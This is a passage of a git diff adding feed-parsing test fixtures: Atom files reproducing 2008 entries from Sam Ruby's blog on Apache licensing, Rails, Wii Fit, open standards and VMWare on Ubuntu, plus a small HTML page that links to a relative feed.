href="http://markmail.org/message/aarfydgmuay6cgg6">set of guidelines</a> that everybody can live with.  And, after all is said and done, isn’t that what everybody really needs?</p>
+<p>But I digress.  Where was I?  Oh, yes, the meeting.  Luckily I had <a href="http://wiki.apache.org/legal/Ramblings">prepared in advance</a>.</p>
+<p>My plans here on out is to push for <a href="http://people.apache.org/~rubys/3party.html#category-x">Category X licenses</a> as well as the <a href="http://people.apache.org/~rubys/3party.html#transition-examples">transition examples</a> to be added to the <a href="http://www.apache.org/legal/resolved.html">resolved legal questions</a>.  And to state that the work on best practices and specific limited exemptions for all other licenses (effectively all the licenses known to be in category B, and all licenses yet to be explored) is ongoing.  And with that jedi-like hand wave coupled with the Apache secret weapon: namely an open invitation for all those who are affected by this to join legal-discuss and help work out the issues (also known as the <em>where’s your patch?</em> or <em>thanks for volunteering</em> defense), the villages will once again be peaceful.</p>
+<p>Wish me luck.  Oh, and don’t tell anybody about my secret plan.  Nobody reads my blog anyway.</p>
+<p>And if any of you out there are lawyers: I’m sorry for the trouble I’ve given you in the past.</p></div></content>
+    <updated>2008-06-06T08:20:07-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2853</id>
+    <link href="/blog/2008/06/05/Rails-2-1"/>
+    <link rel="replies" href="2853.atom" thr:count="3" thr:updated="2008-06-15T00:44:07-04:00"/>
+    <title>Rails 2.1</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, Third Edition</a> has been updated to <a href="http://weblog.rubyonrails.org/2008/6/1/rails-2-1-time-zones-dirty-caching-gem-dependencies-caching-etc">Rails 2.1</a>.  The biggest visible change is the <a href="http://ryandaigle.com/articles/2008/4/2/what-s-new-in-edge-rails-utc-based-migration-versioning">UTC-based migrations</a>.  It is amazing how fast <a href="http://pragprog.com/titles/rails3/errata#e32259">beta readers</a> pick up on details such as these.</div></content>
+    <updated>2008-06-05T09:51:58-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2852</id>
+    <link href="/blog/2008/06/04/Wii-Fit"/>
+    <link rel="replies" href="2852.atom" thr:count="4" thr:updated="2008-06-11T16:40:52-04:00"/>
+    <title>Wii Fit</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="143" height="70" viewBox="0 0 143 70">
+  <path d='M2,6h14l12,45l11-41c3-7,13-7,16,0l11,41l12-45h14l-17,58c-3,7-13,7-16,0l-12-39l-12,39c-3,7-13,7-16,0zM99,68v-43h14v43zM126,68v-43h14v43z' fill='#999'/>
+  <circle cx='133' cy='10' fill='#999' r='8'/>
+  <circle cx='106' cy='10' fill='#999' r='8'/>
+</svg>
+<p>Bought a WII fit two weeks ago when it first went on sale.  It hasn’t replaced going to the gym, but I will say that my wife and I have integrated it into our daily lives.  I recommend it.  Not because of the <a href="http://www.youtube.com/watch?v=_iYBmAVuBns">amazing graphics</a>, but because the “training” is entertaining and psychological engineering is impressive — everything from continuous encouragement in the form of cheerful “good jobs!” to continuous measuring, tracking and reporting on your progress.</p>
+<p>I find that I’m good at activities that require me to stand relatively still on two feet — things like the “Warrior Pose” and even “Table Tilt”, but not quite so good at activities either that require rapid shifting such as “Soccer Heading” or standing on one foot such as “Tree”.  I can do “Push Ups and Side Planks” with ease, but can’t for the life of me do “Hula Hoops”.  I am getting better at “Ski Slalom” though — I’ve actually managed to make it down the hill without missing any of the flagged regions — once.</p></div></content>
+    <updated>2008-06-04T19:21:57-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2851</id>
+    <link href="/blog/2008/05/29/Scaling-Rails-Down"/>
+    <link rel="replies" href="2851.atom" thr:count="4" thr:updated="2008-06-13T07:28:38-04:00"/>
+    <title>Scaling Rails... Down</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>As I proceed with updating <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails</a> to support Rails 2.x, I have become impressed with how Rails has become even <b>more</b> focused on scaling <b>down</b> than it was in Rails 1.x.  Some of the credit goes to Rails itself (changes in scaffolding, migration), but much of the credit goes to making sqlite3 the default.</p>
+<p>What I mean by scaling down is to places where I would not have previously thought it was worth the time or effort to build a web application.  In many cases, I am talking single user, single table applications whose usefulness may last only a few months or even days.  The ability to go from concept to running code preloaded with live data in five minutes or less is truly a game changer for me.</p>
+<p>I am having difficulty expressing the concept, but I have two examples that I can express in code.  It is said that Rails itself was factored out of live running application, and perhaps after I create a few more examples, I will be able to fully see the commonality and be able to build a generator and/or a small wizard application (built on Rails, natch).</p>
+<p>The six steps to a running application are <code>rails application</code>, <code>cd application</code>, <code>ruby script/generate scaffold table attrs...</code>, <code>rake db:migrate</code>, <em>load</em> data, <code>ruby script/server</code>, and <em>tweak</em>.  The keys being <code>scaffold</code>, <em>load</em>, and <em>tweak</em>.</p>
+<h3 id="errata">Errata</h3>
+<p>The first example is <a href="http://intertwingly.net/stories/2008/05/29/errata.rb">errata</a>.  <a href="http://pragprog.com/">Pragmatic Programmers</a> hosts a simple <a href="http://pragprog.com/titles/rails3/errata/">errata</a> page that contains input that has been received to date beta of books.  As I’m working (sometimes offline), I like having the ability to annotate these records as to whether I have made the fix, am deferring the suggestion for now, or (for whatever reason) the fix is resolved another way.</p>
+<p>So I define a model for an erratum consisting of three groups of attributes: ones that show up in the index and on the individual edit page, ones that are in the xml file but I’m not concerned about for the moment, and additional  attributes that represent annotation.</p>
+<p>The “tweaks” include defining a virtual attribute in the model for a “beta_page” that combines the <code>title_release_reported_in</code> and <code>pdf_page</code> fields into one, highlights errata which were first seen within the last 24 hours, filter the index to only show issues which haven’t been categorized, turn off session support (as this is a single user application), and some minor CSS.</p>
+<p>Loading is as simple as an xml parse of the <a href="http://pragprog.com/titles/rails3/errata/index.xml">input document</a>, some minor type coercions, name mapping, and filtering, and into the database it goes.  This step can be rerun multiple times as it will only replace the columns which were originally sourced from the document, and will only add new rows when a new errata_id is encountered.</p>
+<p><a href="http://intertwingly.net/stories/2008/05/29/errata.rb">this code</a> does all that and launches a server.  Up and running in five minutes indeed.  And <a href="http://intertwingly.net/stories/2008/05/29/report.html.erb">additional reports</a> are easy enough to add later.</p>
+<h3 id="agenda">Agenda</h3>
+<p>The second example is <a href="http://intertwingly.net/stories/2008/05/29/agenda.rb">agenda</a>.  The <a href="http://www.apache.org/foundation/board/">ASF Board</a> meetings each have an agenda that is of the same basic format as the <a href="http://www.apache.org/foundation/board/calendar.html">minutes</a>, but with room for individual directors to leave comments and to “pre-approve” individual reports.  As an officer, director, and secretary, I need to interleave reporting, participating, and recording activities all the while coping with a document that is in a decidedly non-linear format.  I’ve been able to cope using browser tabs and having a <a href="http://intertwingly.net/blog/2008/03/08/Switched">second monitor</a> has been a real blessing, but having a single application that enables me to navigate within the document and record comments inline would be helpful.</p>
+<p>Once again, there are three groups of attributes involved: ones that show only in the index, ones that show both in the index and on the individual report pages, and ones that represent annotations.</p>
+<p>Tweaks include color coding the rows based on the status of the report (missing, ready for review, approved with comments, and simply approved) and changing the flow in the controller to move onto the next report after an update is made.</p>
+<p>The loading step is the most difficult one here as it involves some gnarly regular expressions and, in the case of Additional Officer Reports and Committee Reports requires two passes.  The actual interaction with the database is trivial.</p>
+<p>The “market” for the above application is likely only “one”, or at most a dozen or so (directors plus guests), and as such would probably still remain unwritten except for the fact that I was bored on a plane ride out and this gave me something to do.  Future work would include expanding to the “prep” stage (i.e., highlight which reports are ready but have not been reviewed by me just yet), and to the “publish” state (first pass generation of the report based on the agenda and annotations).</p></div></content>
+    <updated>2008-05-29T13:58:37-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2850</id>
+    <link href="/blog/2008/05/21/Despamming-Venus-Mememes-List"/>
+    <link rel="replies" href="2850.atom" thr:count="1" thr:updated="2008-05-21T22:57:26-04:00"/>
+    <title>Despamming Venus Mememes List</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100" viewBox="0 0 100 100">
+  <defs>
+    <g id="src" opacity="0.5" fill="none" stroke-width="12">
+      <circle cx="-20" cy="19" r="1"/>
+      <path d="M0,19s0-20-20-20m0-19s40,0,40,40" stroke-linecap="round"/>
+    </g>
+  </defs>
+  <use xlink:href="#src" transform="translate(64,56) rotate(240)" stroke="#44F"/>
+  <use xlink:href="#src" transform="translate(42,36) rotate(120)" stroke="#0C0"/>
+  <use xlink:href="#src" transform="translate(35,65)" stroke="#F00"/>
+</svg>
+<p>I just committed a change to <a href="http://www.intertwingly.net/code/venus/">Venus</a> that lets one configure a list of URIs which are <b>not</b> to be included in the mememe list.  Example usage:</p>
+<pre class="code">[mememe.plugin]
+spam:
+  http://services.google.com/feedback/abg</pre>
+<p>One simply lists URIs separated by white space (I personally prefer to do this one per line) and these URIs will be eliminated from the list.</p></div></content>
+    <updated>2008-05-21T21:59:32-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2849</id>
+    <link href="/blog/2008/05/15/Men-in-Suits"/>
+    <link rel="replies" href="2849.atom" thr:count="0"/>
+    <title>Men in Suits</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://blogs.codehaus.org/people/geir/archives/001692_men_in_suits.html">Geir Magnusson Jr</a>: <em>Given that fact that the statements contained in <a href="http://www.regdeveloper.co.uk/2008/05/14/jcp_individual_representation/">[link]</a> are given by a Sun employee identifying himself in his job role, can I assume that Sun is interested in taking this discussion public? I think that is a really healthy approach. I think there is confusion about the basic facts and I think clarification will be useful for the community as a whole.</em></p>
+<p>It is the right discussion to be having.  Let’s just make sure that the <a href="http://blogs.codehaus.org/people/geir/archives/001687_jcp_member_of_the_year.html">right people</a> have every opportunity to participate.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <g stroke="#000" fill="none" stroke-width="0.2">
+    <path d="M5,60 A16,30 60,1,1 95,40"/>
+    <path d="M10,60 A15,30 60,1,1 90,40"/>
+    <path d="M15,60 A14,30 60,1,1 85,40"/>
+    <path d="M20,60 A13,30 60,1,1 80,40"/>
+    <circle cx="40" cy="24" r="4" fill="#C0C" stroke="none"/>
+    <circle cx="50" cy="50" r="25" fill="#FD0" stroke="none"/>
+    <path d="M5,60 A16,30 60,0,0 95,40"/>
+    <path d="M10,60 A15,30 60,0,0 90,40"/>
+    <path d="M15,60 A14,30 60,0,0 85,40"/>
+    <path d="M20,60 A13,30 60,0,0 80,40"/>
+  </g>
+  <circle cx="60" cy="61" r="2" fill="#F00"/>
+  <circle cx="78" cy="25" r="3" fill="#0F0"/>
+  <circle cx="22" cy="79" r="3" fill="#00F"/>
+</svg>
+<p><a href="http://blogs.codehaus.org/people/geir/archives/001692_men_in_suits.html"><cite>Geir Magnusson Jr</cite></a>: <em>Given that fact that the statements contained in <a href="http://www.regdeveloper.co.uk/2008/05/14/jcp_individual_representation/">[link]</a> are given by a Sun employee identifying himself in his job role, can I assume that Sun is interested in taking this discussion public? I think that is a really healthy approach. I think there is confusion about the basic facts and I think clarification will be useful for the community as a whole.</em></p>
+<p><a href="http://blogs.sun.com/webmink/entry/links_for_2008_05_14">Simon Phipps</a>: <em>The lesson to be learned is that the best way to get Java everywhere was to work with the community rather than expect the community to work with Sun. Let’s hope that lesson sticks and spreads.</em></p>
+<p>There is a discussion going on.  At the moment, it appears to be between Sun and the press.</p>
+<p>It is the right discussion to be having.  Let’s just make sure that the <a href="http://blogs.codehaus.org/people/geir/archives/001687_jcp_member_of_the_year.html">right people</a> have every opportunity to participate.</p></div></content>
+    <updated>2008-05-15T07:56:08-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2848</id>
+    <link href="/blog/2008/05/14/Beta-1-1"/>
+    <link rel="replies" href="2848.atom" thr:count="2" thr:updated="2008-05-15T12:34:21-04:00"/>
+    <title>Beta 1.1</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>B1.1 of <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, 3rd Edition</a> is out.  Unless you have an deep interest in the migration function, there isn’t much new content here — the primary focus on this update is addressing the <a href="http://pragprog.com/titles/rails3/errata?what_to_show=896">errata</a> and <a href="http://forums.pragprog.com/forums/66">forum</a> comments received to date.</p>
+<p>This effort has turned out to be both harder and more rewarding than I would have ever anticipated.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+<path d='M1,12c0-7,4-11,11-11h87v87c0,5-5,11-11,11h-87z' fill='#723' stroke='#712' stroke-width='2'/>
+
+<path d='M13,22h80v60l-40,15l-39-16z' fill='#a33'/>
+<path d='M25,2l27,18l28,11l18,48v-77z' fill='#a54'/>
+<path d='M80,31l19,8l-9,20z' fill='#d5a67c'/>
+<path d='M78,2l2,29l19,8z' fill='#c98'/>
+<path d='M53,20l25-18l2,29z' fill='#b76'/>
+<path d='M90,58l8,20l-20,7z' fill='#b65'/>
+<path d='M98,78l-47,18l2,2h36zM25,2l28,18l-27,10l-12,27l-11-19z' fill='#a72d3a'/>
+<path d='M14,56l-11,23l26,6z' fill='#924'/>
+
+<path d='M93,23c-38-35-78,17-77,69h41c-17-52,7-81,35-67zM62,80l-7-1l2,5h7zM15,72l-7-1l-2,7l8,1zM58,62l-5-3v5l6,3zM22,47l-7-3l-2,6l7,3zM59,48l-4-4l-1,4l4,4zM62,31l-2,4l3,3l1-3zM34,26l-4-3l-4,4l5,4zM73,25h-4l1,4l3-1zM86,24h-4v2h4zM87,14l-4-3v3l4,2zM50,13l-3-4l-4,3l3,4zM68,10l-2-4h-5l2,4z' fill='#FFF'/>
+</svg>
+<p>B1.1 of <a href="http://pragprog.com/titles/rails3/agile-web-development-with-rails-third-edition">Agile Web Development with Rails, 3rd Edition</a> is out.  Unless you have an deep interest in the migration function, there isn’t much new content here — the primary focus on this update is addressing the <a href="http://pragprog.com/titles/rails3/errata?what_to_show=896">errata</a> and <a href="http://forums.pragprog.com/forums/66">forum</a> comments received to date.</p>
+<p>This effort has turned out to be both harder and more rewarding than I would have ever anticipated.  Harder in that Rails has changed so much, there has been so much to learn (in terms of Rails 2.0, <a href="http://www.sqlite.org/">SQLite3</a>, and also in terms of working with a different publisher, operating system, and toolset).  But I can’t begin to express how much I like the <a href="http://www.pragprog.com/categories/beta">beta books</a> program — the readers that this book has attracted so far have been great and their comments, questions, and feedback have been most appreciated.</p>
+<p>Also, while this book has always had ample <a href="http://pragprog.com/titles/rails3/source_code">source code</a> provided, I’m continuing to look for ways to both expand and automate.  Rerunning the code on rails edge, for example is now something I can repeatedly do in a matter of minutes.</p></div></content>
+    <updated>2008-05-14T09:41:11-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2847</id>
+    <link href="/blog/2008/05/13/Open-Standards"/>
+    <link rel="replies" href="2847.atom" thr:count="3" thr:updated="2008-05-31T07:59:49-04:00"/>
+    <title>Open Standards</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="100" height="100" viewBox="0 0 100 100">
+  <path d="M34,93l11,-29a15,15 0,1,1 9,0l11,29a45,45 0,1,0 -31,0z" stroke="#142" stroke-width="2" fill="#4a5"/>
+</svg>
+<p><a href="http://pzf.fremantle.org/2008/05/open-source-versus-open-standards.html"><cite>Paul Fremantle</cite></a>: <em>For me the core difference between Open Standards and Open Source is this: Open Standards enable companies to <b>compete</b> in a structured way, Open Source projects enable people or companies to <b>collaborate</b> in a structured way</em></p>
+<p>I think Paul may be onto something.  It is rapidly becoming the case that <a href="http://rubyspec.org/">this</a> more than <a href="http://www.iso.org/iso/home.htm">this</a> is becoming the exemplar for open standards.  While it is popular to malign the JCP, it is worth noting that many (most?) JSRs have TCKs which actively promote the idea of multiple, independent, interoperable implementations.</p></div></content>
+    <updated>2008-05-13T08:07:29-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2846</id>
+    <link href="/blog/2008/05/08/Word-Of-Mouth"/>
+    <link rel="replies" href="2846.atom" thr:count="3" thr:updated="2008-05-10T17:05:36-04:00"/>
+    <title>Word Of Mouth</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://www.zephoria.org/thoughts/archives/2007/11/15/who_has_a_cute.html">danah boyd</a>: <em>I decided to go with a Scion xD because it was the right combination of small, cheap, quirky, practical, and dependable. I feel a little guilty because it’s painfully clear that Scion is targeted directly at people like me and I hate ending up fitting into a stereotype, but, well... it is nice to have an iPod jack built in standard and have a design aesthetic meant for hipster 20-30somethings.</em></p>
+<p>danah deserves a commission.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="120" height="83" viewBox="0 0 120 83">
+  <path d='M60,0c-33,0-60,19-60,42c0,22,27,41,60,41c33,0,60-19,60-41c0-23-27-42-60-42M60,77c-27,0-48-16-48-35c0-20,21-36,48-36c27,0,49,16,49,36c0,19-22,35-49,35' fill='#AAA'/>
+  <path d='M60,4c-28,0-52,17-52,38c0,20,24,37,52,37c29,0,52-17,52-37c0-21-23-38-52-38M60,77c-27,0-48-16-48-35c0-20,21-36,48-36c27,0,49,16,49,36c0,19-22,35-49,35' fill='#717279'/>
+  <path d='M60,3c-29,0-52,17-52,39c0,21,23,38,52,38c29,0,53-17,53-38c0-22-24-39-53-39M60,79c-28,0-52-17-52-37c0-21,24-38,52-38c29,0,52,17,52,38c0,20-23,37-52,37M111,35h-102l-1,7l1,6h102c1-2,1-4,1-6c0-3,0-5-1-7' fill='#EEE'/>
+  <path d='M108,34h-95l-4,1h3h96h3l-3-1' fill='#58585E'/>
+  <path d='M12,48h-3l4,1h95l3-1h-3z' fill='#3A3B3E'/>
+  <path d='M62,5c0,0-14,13-16,30h12c-4-13,4-30,4-30M59,78c0,0,13-13,15-30h-11c4,13-4,30-4,30' fill='#BBB'/>
+  <path d='M58,35h9c-11-6-5-30-5-30s-8,17-4,30M63,48h-10c11,6,6,30,6,30s8-17,4-30M109,45c0,1-1,1-2,1h-1v-7l-1-1h-15v8h-3v-9h19c1,0,3,1,3,2zM12,45h17c1,0,1-1,1-1v-2h-18v-3c0-1,1-2,3-2h18v1h-17c-1,0-1,1-1,1v2h18v3c0,1-1,2-3,2h-16c-1,0-2,0-2-1M38,44l1,1h17v1h-18c-2,0-3-1-3-2v-5c0-1,1-2,3-2h18v1h-17l-1,1zM62,37v9h-3v-9zM85,39v5c0,1-1,2-2,2h-16c-2,0-3-1-3-2v-5c0-1,1-2,3-2h16c1,0,2,1,2,2M81,38h-13c-1,0-1,1-1,1v5c0,0,0,1,1,1h13c1,0,1-1,1-1v-5c0,0,0-1-1-1' fill='#060506'/>
+</svg>
+<p><a href="http://www.zephoria.org/thoughts/archives/2007/11/15/who_has_a_cute.html"><cite>danah boyd</cite></a>: <em>I decided to go with a Scion xD because it was the right combination of small, cheap, quirky, practical, and dependable. I feel a little guilty because it’s painfully clear that Scion is targeted directly at people like me and I hate ending up fitting into a stereotype, but, well... it is nice to have an iPod jack built in standard and have a design aesthetic meant for hipster 20-30somethings.</em></p>
+<p>danah deserves a commission.  No, I’m clearly not a hipster 20-30something, but there seems to be a transitive property in effect as teenage girls tend to be 20-30something wannabies.  In addition to the aspects that danah mentioned, gas mileage is not too bad.  I also feel that — for this demographic at least — the ability to control an iPod from the steering wheel is an vital safety feature.  We also went for the <a href="http://en.wikipedia.org/wiki/Vehicle_Stability_Control">electronic stability control</a>.</p>
+<p>Anybody who happens to be by <a href="http://www.fredandersontoyota.com/">Fred Anderson Toyota</a> should ask for Phil.</p></div></content>
+    <updated>2008-05-08T08:12:03-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2845</id>
+    <link href="/blog/2008/05/05/VMWare-Workstation-Hardy-Heron-VMWare-Tools"/>
+    <link rel="replies" href="2845.atom" thr:count="7" thr:updated="2008-05-06T16:57:07-04:00"/>
+    <title>VMWare Workstation, Hardy Heron, VMWare Tools</title>
+    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p><a href="http://norman.walsh.name/2008/05/05/vmwaretools">Norman Walsh</a>: <em>In case you haven’t found it yet, <a href="http://peterc.org/2008/62-how-to-install-vmware-tools-on-ubuntu-hardy-804-under-vmware-fusion.html">here’s a pointer</a> to the instructions for building VMWare Tools under Ubuntu 8.04, “Hardy Heron”.</em></p>
+<p>The above instructions (originally for VMWare Fusion) also work for VMWare Workstation.</p></div></summary>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns='http://www.w3.org/2000/svg' width="100" height="100" viewBox="0 0 100 100">
+  <g fill='none' stroke='#7d9bc6' stroke-width='3'>
+    <rect height='44' width='44' x='17' y='41' rx="3"/>
+    <rect height='44' width='44' x='27' y='19' rx="3"/>
+    <rect height='44' width='44' x='39' y='29' rx="3"/>
+  </g>
+</svg>
+<p><a href="http://norman.walsh.name/2008/05/05/vmwaretools"><cite>Norman Walsh</cite></a>: <em>In case you haven’t found it yet, <a href="http://peterc.org/2008/62-how-to-install-vmware-tools-on-ubuntu-hardy-804-under-vmware-fusion.html">here’s a pointer</a> to the instructions for building VMWare Tools under Ubuntu 8.04, “Hardy Heron”.</em></p>
+<p>It turns out that IBM Ubuntu software layer (e.g. VPN software) does not yet work with Hardy Heron.  A few years ago, I would compiling and comparing notes with collegues, but now I’ve gotten complacent.  I mean, really, Hardy has been out for 11 days now, what’s the problem?</p>
+<p>So, I decided to try VMWare Workstation (i.e., for Windows).  The above instructions (originally for VMWare Fusion) also work for VMWare Workstation.  Suspend/Resume work, but unless Ubuntu is separately suspended, it won’t re-synchronize with the hardware clock on resume, but the following in <code>crontab</code> for <code>root</code> addresses this:</p>
+<pre class="code">0,10,20,30,40,50 * * * * /etc/init.d/hwclock.sh start  &gt; /dev/null</pre>
+<p>The VM runs above the Wifi layer (i.e., appears to the VM as <code>eth0</code>), but below the VPN layer (drats!).</p>
+<p>On a T61p, the display runs about as well as the native open source video driver (i.e., no <a href="http://compiz.org/">compiz</a>).  One idiosyncrasy I’ve found so far is that releasing the right mouse button often has the effect of selecting the first menu item.</p>
+<p>Switching back and forth between operating systems is fast, and one can even share directories (e.g. <code>C:\cygwin\home\rubys</code> as <code>/mnt/hgfs/rubys</code>) and copy/paste between host and VM windows.</p></div></content>
+    <updated>2008-05-05T20:40:39-04:00</updated>
+  </entry>
+
+</feed>
+
diff --git a/whoisi/static/tests/relative-feed-relative-links.html b/whoisi/static/tests/relative-feed-relative-links.html
new file mode 100644 (file)
index 0000000..b43aae9
--- /dev/null
@@ -0,0 +1,9 @@
+<html>
+<head>
+<link rel="alternate" type="application/atom+xml" title="First Feed" href="relative-feed-relative-links.atom"/>
+</head>
+<body>
+ZOMG!!!
+</body>
+</html>
+
diff --git a/whoisi/static/tests/relative-links.atom b/whoisi/static/tests/relative-links.atom
new file mode 100644 (file)
index 0000000..c363b7c
--- /dev/null
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="utf-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom"
+  xmlns:thr="http://purl.org/syndication/thread/1.0">
+  <link rel="self" href="http://intertwingly.net/blog/index.atom"/>
+  <id>http://intertwingly.net/blog/index.atom</id>
+  <icon>../favicon.ico</icon>
+
+  <title>Sam Ruby</title>
+  <subtitle>It’s just data</subtitle>
+  <author>
+    <name>Sam Ruby</name>
+    <email>rubys@intertwingly.net</email>
+    <uri>/blog/</uri>
+  </author>
+  <updated>2008-07-05T09:28:36-04:00</updated>
+  <link href="/blog/"/>
+  <link rel="license" href="http://creativecommons.org/licenses/BSD/"/>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2864</id>
+    <link href="/blog/2008/07/02/authoritative-true"/>
+    <link rel="replies" href="2864.atom" thr:count="31" thr:updated="2008-07-05T09:28:27-04:00"/>
+    <title>authoritative=true</title>
+    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><svg style="float:right" xmlns="http://www.w3.org/2000/svg" width="105" height="95" viewBox="0 0 105 95">
+<path fill="#7B4" d="M106,13c-21,9-31,4-40-2l-10,35c9,6,20,11,40,2l10-35z"/>
+<path fill="#49c" d="M39,83c-9-6-18-10-39-2l10-35c21-9,31-4,39,2l-10,35z"/>
+<path fill="#E63" d="M51,42c-5-4-11-7-19-7c-6,0-12,1-20,5l10-35c20-8,30-4,39,2l-10,35z"/>
+<path fill="#FD5" d="M55,52c9,6,18,10,39,2l-10,35c-21,8-30,3-39-3l10-34z"/>
+</svg>
+<p><a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx"><cite>Eric Lawrence</cite></a>: <em>we’ve provided web-applications with the ability to opt-out of MIME-sniffing. Sending the new authoritative=true attribute on the Content-Type HTTP response header prevents Internet Explorer from MIME-sniffing a response away from the declared content-type</em></p>
+<p>While I’m not a fan of content-sniffing, one of my few pet peeves with HTML5 is that it endeavors to <a href="http://www.whatwg.org/specs/web-apps/current-work/#content-type3">institutionalize the practice</a> with no provisions for content providers to opt out.  As the lesser of the available evils, I hope Microsoft’s proposal is quickly adopted by other browsers.</p></div></content>
+    <updated>2008-07-02T21:37:10-04:00</updated>
+  </entry>
+
+  <entry>
+    <id>tag:intertwingly.net,2004:2863</id>
+    <link href="/blog/2008/06/30/June-31st"/>
+    <link rel="replies" href="2863.atom" thr:count="1" thr:updated="2008-06-30T20:51:55-04:00"/>
+    <title>June 31st</title>
